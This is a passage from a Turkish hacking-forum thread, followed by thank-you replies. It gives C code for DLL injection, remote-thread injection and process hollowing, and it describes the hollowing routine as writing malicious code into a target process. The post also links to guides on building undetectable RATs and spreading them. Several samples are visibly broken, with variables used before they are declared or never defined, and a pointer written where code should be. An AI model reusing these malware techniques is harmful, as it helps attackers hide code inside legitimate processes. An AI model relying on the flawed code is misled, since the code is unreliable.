// DLL enjekte etme işlevini test etme
int main()
{
    DWORD processID = 1234; // hedef işlem ID'si
    LPCSTR dllPath = "C:\\Path\\To\\InjectedDLL.dll"; // enjekte edilecek DLL dosyasının yolu

    // DLL Enjekte Etme Fonksiyonunu çağırma
    injectDLL(processID, dllPath);

    return 0;
}

Bu örnek kod, injectDLL işlevi kullanılarak belirtilen işlem ID'sine ve DLL dosyasının yoluna göre DLL enjeksiyonu gerçekleştirir. İşlev, hedef işlemi açar, DLL dosyasını hedef işlemin adres uzayına yazar, DLL dosyasını hedef işlemde yüklemek için LoadLibraryA işlevini çağırır ve ardından bellek bloklarını serbest bırakır. DLL Injection kodları, genellikle düşük seviyeli dillerde yazılır. Bu diller arasında C veya C++ gibi derlenen diller ve assembly dilleri bulunur. Bunun nedeni, bellek manipülasyonu, DLL enjeksiyonu ve diğer düşük seviyeli işlemlerin doğrudan kontrol edilmesi gerektiği için bu dillerin daha uygun olmasıdır. Ancak, yüksek seviyeli dillerde de DLL Injection teknikleri uygulanabilir. Örneğin, Python gibi bir dilde, ctypes veya win32api modülleri kullanılarak DLL Injection yapılabilir. Ancak, yine de düşük seviyeli dillerde yazılan kodların daha etkili olabileceği unutulmamalıdır.

gBPwFuWw_o.png


process-injection-techniques-blogs-hijack.gif


Thread Injection kodları, genellikle C/C++ programlama dillerinde yazılır. İşte basit bir Thread Injection kod örneği:
C:
#include <windows.h>

// Thread Enjekte Etme Fonksiyonu
BOOL injectThread(DWORD processID, LPVOID remoteThreadFunction)
{
    // Hedef işlem için işlem tutamaçları
    HANDLE processHandle;
    HMODULE kernel32ModuleHandle;
    LPVOID remoteMemoryAddress;
    DWORD bytesWritten;

    // Hedef işlemi açma ve işlem tutamaçlarını alma
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);

    // "kernel32.dll" modülünü yükleme
    kernel32ModuleHandle = GetModuleHandle("kernel32.dll");

    // Hedef işlemin adres uzayında bellek ayırma
    remoteMemoryAddress = VirtualAllocEx(processHandle, NULL, sizeof(remoteThreadFunction), MEM_COMMIT, PAGE_READWRITE);

    // Hedef işlemin adres uzayına thread işlevi yazma
    WriteProcessMemory(processHandle, remoteMemoryAddress, &remoteThreadFunction, sizeof(remoteThreadFunction), &bytesWritten);

    // Hedef işlemin adres uzayında bir iş parçacığı oluşturma
    HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemoryAddress, NULL, 0, NULL);

    // İş parçacığının tamamlanmasını bekleyin
    WaitForSingleObject(remoteThread, INFINITE);

    // Bellek bloklarını serbest bırakma
    VirtualFreeEx(processHandle, remoteMemoryAddress, 0, MEM_RELEASE);

    // Hedef işlem tutamaçlarını kapatma
    CloseHandle(processHandle);

    return TRUE;
}

// Thread enjekte etme işlevini test etme
int main()
{
    DWORD processID = 1234; // hedef işlem ID'si
    LPVOID remoteThreadFunction = (LPVOID)LoadLibraryA("InjectedDLL.dll"); // enjekte edilecek işlevin adresi

    // Thread Enjekte Etme Fonksiyonunu çağırma
    injectThread(processID, remoteThreadFunction);

    return 0;
}


af8mqjc.gif



Bu örnek kod, injectThread işlevi kullanılarak belirtilen işlem ID'sine ve enjekte edilecek işlevin adresine göre Thread Injection gerçekleştirir. İşlev, hedef işlemi açar, işlevin adresini hedef işlemdeki bellek alanına yazar, bir iş parçacığı oluşturur ve bekleyerek iş parçacığının tamamlanmasını sağlar. Ardından, bellek bloklarını serbest bırakır ve hedef işlem tutamaçlarını kapatır. hread Injection teknikleri, genellikle düşük seviyeli dillerde yazılan kodlarla gerçekleştirilir. Bu diller arasında C veya C++ gibi derlenen diller ve assembly dilleri bulunur. Bunun nedeni, bellek manipülasyonu, DLL enjeksiyonu ve diğer düşük seviyeli işlemlerin doğrudan kontrol edilmesi gerektiği için bu dillerin daha uygun olmasıdır. Ancak, yüksek seviyeli dillerde de Thread Injection teknikleri uygulanabilir. Örneğin, Python gibi bir dilde, win32api veya ctypes modülleri kullanılarak Thread Injection yapılabilir. Ancak, yine de düşük seviyeli dillerde yazılan kodların daha etkili olabileceği unutulmamalıdır.

gBPwFuWw_o.png


process-injection-techniques-blogs-runpe.gif



Process Hollowing kodları, genellikle C/C++ programlama dillerinde yazılır. İşte basit bir Process Hollowing kod örneği:
C:
#include <windows.h>

// Hedef Uygulamayı Boşaltma Fonksiyonu
BOOL hollowProcess(DWORD processID)
{
    // Hedef uygulama için işlem tutamaçları
    HANDLE processHandle;
    PROCESS_INFORMATION processInfo;

    // Hedef uygulamayı açma ve işlem tutamaçlarını alma
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);

    // Hedef uygulamanın ana thread'ini al
    GetThreadContext(processInfo.hThread, &context);

    // Hedef uygulamanın bellek alanını boşaltma
    CONTEXT context = {0};
    context.ContextFlags = CONTEXT_INTEGER;
    GetThreadContext(processInfo.hThread, &context);
    context.Ebx = (DWORD)VirtualAllocEx(processHandle, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    void * payloadImageBase = VirtualAlloc(NULL, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(payloadImageBase, payloadImageData, payloadImageSize);
    WriteProcessMemory(processHandle, (LPVOID)context.Ebx, payloadImageBase, payloadImageSize, NULL);
    context.Eax = (DWORD)context.Ebx + ((PIMAGE_NT_HEADERS)((PBYTE)payloadImageData + ((PIMAGE_DOS_HEADER)payloadImageData)->e_lfanew))->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(processInfo.hThread, &context);

    // Hedef uygulamanın bellek alanına istenilen kötü amaçlı kodu yazma
    WriteProcessMemory(processHandle, (LPVOID)addressToOverwrite, &maliciousCode, sizeof(maliciousCode), NULL);

    // Hedef uygulamayı çalıştırma
    ResumeThread(processInfo.hThread);

    // Hedef uygulamayı kapatma
    CloseHandle(processHandle);

    return TRUE;
}

// Process Hollowing işlevini test etme
int main()
{
    DWORD processID = 1234; // hedef uygulama ID'si

    // Process Hollowing Fonksiyonunu çağırma
    hollowProcess(processID);

    return 0;
}


Bu örnek kod, hollowProcess işlevi kullanılarak belirtilen işlem ID'sine göre Process Hollowing gerçekleştirir. İşlev, hedef uygulamayı açar, bellek alanını boşaltır, yeni bir bellek alanı oluşturur ve istenilen kötü amaçlı kodu hedef uygulama bellek alanına yazarak yürütür. Ardından, hedef uygulamayı kapatır. Process Hollowing kodları, genellikle C veya C++ gibi düşük seviyeli dillerde yazılır. Ancak, benzer işlevselliği sağlamak için yüksek seviyeli dillerde de uygulanabilir. Örneğin, Python gibi bir dilde, win32api veya ctypes modülleri kullanılarak Process Hollowing yapılabilir. Ancak, düşük seviyeli dillerde yazılan kodlar daha etkili olabilir, çünkü bellek manipülasyonu ve DLL enjeksiyonu gibi işlemleri doğrudan yönetebilirler.

bd71Uz1W_o.png


Konu hoşunuza gittiyse
ovca0xc.gif
tuşuna basıp diğer konularıma göz atabilirsiniz.

İnstagram Hakkında Herşey | Bilgilendirme
Burp Suite Nedir | Nasıl Kullanılır ?
İOS'tan Windows'a Dosya Aktarımı | Bilgilendirme
Veri Kurtarma Nedir ? Nasıl Yapılır | Anlatım
Rat Nedir ? | Fud Nasıl Yapılır ? | Rat Nasıl Yayılır ? |
BlueKeep Zafiyeti Nedir ? | Detaylı Anlatım

G3oa9Tz.png



Tulu Yıldızları Kulübü

Sen Niye Gelmiyorsun Bakayım :mad:

Tulu Yıldızları Kulübü [ Alımlar Açık! ]



a3b2jeo.png
elinize sağlık hocam
 

Dekrats

Katılımcı Üye
26 Ocak 2023
549
442
Brain
Ellerine sağlık, süper bir konu olmuş :)
Teşekkür Ederim Hocam
Missssss, eline saglik
Sağolasın
Elinize kolunuza sağlık
Sağolasın
Bana çok yararı oldu.Teşekkürler
Rica Ederim
Teşekkürler baya güzel ve detaylı olmuş doğrusu beklediğimden çok daha kaliteli Eline sağlık işime baya yarayacak ✨
Rica Ederim, Sağolasın
elinize sağlık hocam
Ne Demek Dostum Herzaman
 

Dekrats

Katılımcı Üye
26 Ocak 2023
549
442
Brain
Eline emeğine sağlık çok güzel bir içerik olmuş.
Teşekkür Ederim
Ellerine sağlık
Teşekkür Ederim Hocam
Teşekkür Ederim Hocam
Eline sağlık aslan kardeşim
Teşekkür Ederim Kadim Dostum
Eline sağlık ...
Teşekkürler
Teşekkürler
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.